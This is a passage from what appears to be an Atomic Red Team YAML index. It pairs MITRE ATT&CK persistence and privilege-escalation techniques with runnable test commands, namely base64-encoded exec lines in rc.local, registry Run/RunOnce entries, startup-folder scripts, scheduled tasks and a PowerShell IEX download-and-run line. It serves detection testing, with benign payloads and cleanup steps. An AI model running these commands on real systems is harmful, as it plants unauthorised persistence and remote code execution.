      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      - source_name: Ubuntu Manpage systemd rc
        url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
        description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility
          generator for starting /etc/rc.local and        /usr/sbin/halt.local during
          boot and shutdown. Retrieved February 23, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-27T19:58:01.927Z'
      created: '2020-01-15T16:25:22.260Z'
      x_mitre_platforms:
      - macOS
      - Linux
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: "Monitor for unexpected changes to RC scripts in the <code>/etc/</code>
        directory. Monitor process execution resulting from RC scripts for unusual
        or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code>
        file creation. Although types of RC scripts vary for each Unix-like distribution,
        several execute <code>/etc/rc.local</code> if present. "
      x_mitre_permissions_required:
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      identifier: T1037.004
    atomic_tests:
    - name: rc.common
      auto_generated_guid: 97a48daa-8bca-4bc0-b1a9-c1d163e762de
      description: |
        Modify rc.common

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html)
      supported_platforms:
      - macos
      executor:
        command: 'sudo echo osascript -e ''tell app "Finder" to display dialog "Hello
          World"'' >> /etc/rc.common

'
        elevation_required: true
        name: bash
    - name: rc.common
      auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
      description: 'Modify rc.common

'
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
          sudo chmod +x /etc/rc.common
        cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename
          ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common
          && sudo rm $origfilename;fi

'
    - name: rc.local
      auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
      description: 'Modify rc.local

'
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
          sudo chmod +x /etc/rc.local
        cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename
          ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local &&
          sudo rm $origfilename;fi

'
  T1547.007:
    technique:
      created: '2020-01-24T18:15:06.641Z'
      modified: '2020-01-24T19:51:37.795Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e
      description: "Adversaries may modify plist files to automatically run an application
        when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain
        applications to be re-opened when a user logs into their machine after reboot.
        While this is usually done via a Graphical User Interface (GUI) on an app-by-app
        basis, there are property list files (plist) that contain this information
        as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code>
        and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>.
        \n\nAn adversary can modify one of these files directly to include a link
        to their malicious executable to provide a persistence mechanism each time
        the user reboots their machine (Citation: Methods of Mac Malware Persistence)."
      name: Re-opened Applications
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.007
        url: https://attack.mitre.org/techniques/T1547/007
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      x_mitre_platforms:
      - macOS
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_detection: Monitoring the specific plist files associated with reopening
        applications can indicate when an application has registered itself to be
        reopened.
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1547.007
    atomic_tests:
    - name: Re-Opened Applications
      auto_generated_guid: 5fefd767-ef54-4ac6-84d3-751ab85e8aba
      description: |
        Plist Method

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
      supported_platforms:
      - macos
      executor:
        steps: |
          1. create a custom plist:

              ~/Library/Preferences/com.apple.loginwindow.plist

          or

              ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist
        name: manual
    - name: Re-Opened Applications
      auto_generated_guid: 5f5b71da-e03f-42e7-ac98-d63f9e0465cb
      description: |
        Mac Defaults

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
      supported_platforms:
      - macos
      input_arguments:
        script:
          description: path to script
          type: Path
          default: "/path/to/script"
      executor:
        command: 'sudo defaults write com.apple.loginwindow LoginHook #{script}

'
        cleanup_command: 'sudo defaults delete com.apple.loginwindow LoginHook

'
        elevation_required: true
        name: sh
  T1547.001:
    technique:
      id: attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279
      description: |-
        Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

        Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.

        The following run keys are created by default on Windows systems:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

        Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

        The following Registry keys can be used to set startup folder items for persistence:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
        * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
        * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

        The following Registry keys can control automatic startup of services during boot:

        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

        Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

        The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs.

        Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on.

        By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

        Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
      name: Registry Run Keys / Startup Folder
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.001
        url: https://attack.mitre.org/techniques/T1547/001
      - external_id: CAPEC-270
        source_name: capec
        url: https://capec.mitre.org/data/definitions/270.html
      - url: http://msdn.microsoft.com/en-us/library/aa376977
        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
          12, 2014.
        source_name: Microsoft Run Key
      - source_name: Microsoft Wow6432Node 2018
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
        description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data
          in the Registry. Retrieved August 3, 2020.
      - source_name: Malwarebytes Wow6432Node 2016
        url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
        description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved
          August 3, 2020.
      - url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
        description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry
          Key. Retrieved June 29, 2018.
        source_name: Microsoft RunOnceEx APR 2018
      - url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
        description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden
          from Autoruns.exe. Retrieved June 29, 2018.
        source_name: Oddvar Moe RunOnceEx Mar 2018
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-01-06T18:36:29.226Z'
      created: '2020-01-23T22:02:48.566Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

        Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1547.001
    atomic_tests:
    - name: Reg Key Run
      auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05
      description: "Run Key Persistence\n\nUpon successful execution, cmd.exe will
        modify the registry by adding \\\"Atomic Red Team\\\" to the Run key. Output
        will be via stdout. \n"
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Thing to Run
          type: Path
          default: C:\Path\AtomicRedTeam.exe
      executor:
        command: 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V
          "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"

'
        cleanup_command: 'REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
          /V "Atomic Red Team" /f >nul 2>&1

'
        name: command_prompt
    - name: Reg Key RunOnce
      auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb
      description: "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe
        will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will
        be via stdout. \n"
      supported_platforms:
      - windows
      input_arguments:
        thing_to_execute:
          description: Thing to Run
          type: Path
          default: C:\Path\AtomicRedTeam.dll
      executor:
        command: 'REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend
          /v 1 /d "#{thing_to_execute}"

'
        cleanup_command: 'REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend
          /v 1 /f >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: PowerShell Registry RunOnce
      auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42
      description: |
        RunOnce Key Persistence via PowerShell
        Upon successful execution, a new entry will be added to the runonce item in the registry.
      supported_platforms:
      - windows
      input_arguments:
        thing_to_execute:
          description: Thing to Run
          type: Path
          default: powershell.exe
        reg_key_path:
          description: Path to registry key to update
          type: Path
          default: HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce
      executor:
        command: |
          $RunOnceKey = "#{reg_key_path}"
          set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/36f83b728bc26a49eacb0535edc42be8c377ac54/ARTifacts/Misc/Discovery.bat`")"'
        cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun"
          -Force -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Suspicious vbs file run from startup Folder
      auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5
      description: "vbs files can be placed in and ran from the startup folder to
        maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will
        be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start
        Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted
        and the user logs in.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
          Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
          cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
          cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Suspicious jse file run from startup Folder
      auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06
      description: "jse files can be placed in and ran from the startup folder to
        maintain persistance.\nUpon execution, \"T1547.001 Hello, World JSE!\" will
        be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start
        Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted
        and the user logs in.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
          Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
          cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
          cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Suspicious bat file run from startup Folder
      auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e
      description: |
        bat files can be placed in and executed from the startup folder to maintain persistance.
        Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
        folder and will also run when the computer is restarted and the user logs in.
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
          Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
          Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
          Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Add Executable Shortcut Link to User Startup Folder
      auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d
      description: 'Adds a non-malicious executable shortcut link to the current users
        startup directory. Test can be verified by going to the users startup directory
        and checking if the shortcut link exists. '
      supported_platforms:
      - windows
      executor:
        command: "$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation
          = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell
          = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath
          = $Target\n$Create.Save()      "
        cleanup_command: Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start
          Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1134.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1134.005
        url: https://attack.mitre.org/techniques/T1134/005
      - url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
        description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30,
          2017.
        source_name: Microsoft SID
      - url: https://msdn.microsoft.com/library/ms679833.aspx
        description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute.
          Retrieved November 30, 2017.
        source_name: Microsoft SID-History Attribute
      - url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
        description: Microsoft. (2017, June 23). Well-known security identifiers in
          Windows operating systems. Retrieved November 30, 2017.
        source_name: Microsoft Well Known SIDs Jun 2017
      - url: https://technet.microsoft.com/library/ee617241.aspx
        description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved
          November 30, 2017.
        source_name: Microsoft Get-ADUser
      - url: https://adsecurity.org/?p=1772
        description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence
          #14: SID History. Retrieved November 30, 2017.'
        source_name: AdSecurity SID History Sept 2015
      - url: https://msdn.microsoft.com/library/ms677982.aspx
        description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November
          30, 2017.
        source_name: Microsoft DsAddSidHistory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: SID-History Injection
      description: |-
        Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

        With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).
      id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T15:49:58.414Z'
      created: '2020-02-18T18:34:49.414Z'
      x_mitre_contributors:
      - Alain Homewood, Insomnia Security
      - Vincent Le Toux
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Examine data in user’s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)

        Monitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'User Account: User Account Metadata'
      - 'Active Directory: Active Directory Object Modification'
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1053.005:
    technique:
      created: '2019-11-27T14:58:00.429Z'
      modified: '2020-12-30T14:26:44.730Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1053.005
        url: https://attack.mitre.org/techniques/T1053/005
      - url: https://twitter.com/leoloobeek/status/939248813465853953
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        source_name: Twitter Leoloobeek Scheduled Task
      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        source_name: TechNet Forum Scheduled Task Operational Setting
      - url: https://technet.microsoft.com/library/dd315590.aspx
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        source_name: TechNet Scheduled Task Events
      - source_name: Microsoft Scheduled Task Events Win10
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scheduled Task
      description: |-
        Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The <code>schtasks</code> can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

        The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.

        An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.

        Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)

        * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
        * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
        * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
        * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
        * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
        * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Windows
      identifier: T1053.005
    atomic_tests:
    - name: Scheduled Task Startup Script
      auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2
      description: |
        Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
        the tasks, open the Task Scheduler and look in the Active Tasks pane.
      supported_platforms:
      - windows
      executor:
        command: |
          schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
          schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
        cleanup_command: |
          schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
          schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Scheduled task Local
      auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71
      description: 'Upon successful execution, cmd.exe will create a scheduled task
        to spawn cmd.exe at 20:10.

'
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: String
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
